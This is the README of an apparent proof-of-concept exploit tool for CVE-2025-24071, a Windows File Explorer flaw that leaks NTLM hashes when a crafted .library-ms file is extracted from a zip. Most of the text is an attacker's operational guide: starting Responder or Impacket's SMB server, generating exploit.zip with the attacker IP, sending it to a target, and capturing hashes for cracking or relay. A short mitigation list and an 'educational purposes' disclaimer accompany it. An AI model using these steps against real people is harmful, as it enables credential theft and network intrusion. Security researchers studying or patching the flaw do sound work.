CVE-2025-24071 - Windows File Explorer NTLM Hash Leak

📋 Overview

CVE-2025-24071 is a vulnerability in Windows File Explorer that allows unauthorized disclosure of NTLM hashes. When a user extracts a specially crafted .zip archive containing a malicious .library-ms file, Windows Explorer automatically parses the file and initiates an SMB authentication request to an attacker-controlled server, leaking the victim's NTLM hash without any additional user interaction.

⚠️ Vulnerability Details

🔍 How It Works

1. Attacker creates a malicious .library-ms file pointing to their SMB server
2. Attacker packages the file into a .zip archive
3. Victim extracts the archive on a Windows machine
4. Windows Explorer automatically parses the .library-ms file
5. SMB request is sent to the attacker's server with the victim's NTLM hash
6. Attacker captures the hash for offline cracking or relay attacks

🎬 Proof of Concept Demo

https://github.com/user-attachments/assets/e71ea7f7-c739-46f1-9e91-1f3b13b21596

Note: If the video doesn't play inline, download PoC.mp4 from this repository.

🚀 Usage

Prerequisites

• Python 3.x
• SMB listener (e.g., Responder, Impacket's smbserver.py)

Steps

1. Clone the repository

   root@kitploit:~

   git clone https://github.com/yourusername/CVE-2025-24071.git
   cd CVE-2025-24071
   

2. Start your SMB listener (on attacker machine)

   root@kitploit:~

   # Using Responder
   sudo responder -I eth0
   
   # Or using Impacket
   sudo python3 smbserver.py -smb2support fakeShare /tmp/share
   

3. Generate the exploit

   root@kitploit:~

   python exploit.py
   

4. Enter your attacker IP when prompted

5. Send exploit.zip to the target

6. Capture NTLM hash when victim extracts the archive

📁 Repository Structure

CVE-2025-24071/
├── exploit.py      # PoC exploit generator
├── PoC.mp4         # Video demonstration
└── README.md       # Documentation

🛡️ Mitigation

• Apply Microsoft security patches for CVE-2025-24071
• Block outbound SMB traffic (ports 445, 139) at the firewall
• Disable NTLM authentication where possible
• Use SMB signing to prevent relay attacks
• Educate users about the risks of extracting untrusted archives

⚖️ Disclaimer

This tool is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. The author is not responsible for any misuse or damage caused by this tool.

👤 Author

Nyx0r-PoC

📄 License

This project is for educational purposes only. Use responsibly.

⭐ Star this repository if you found it useful!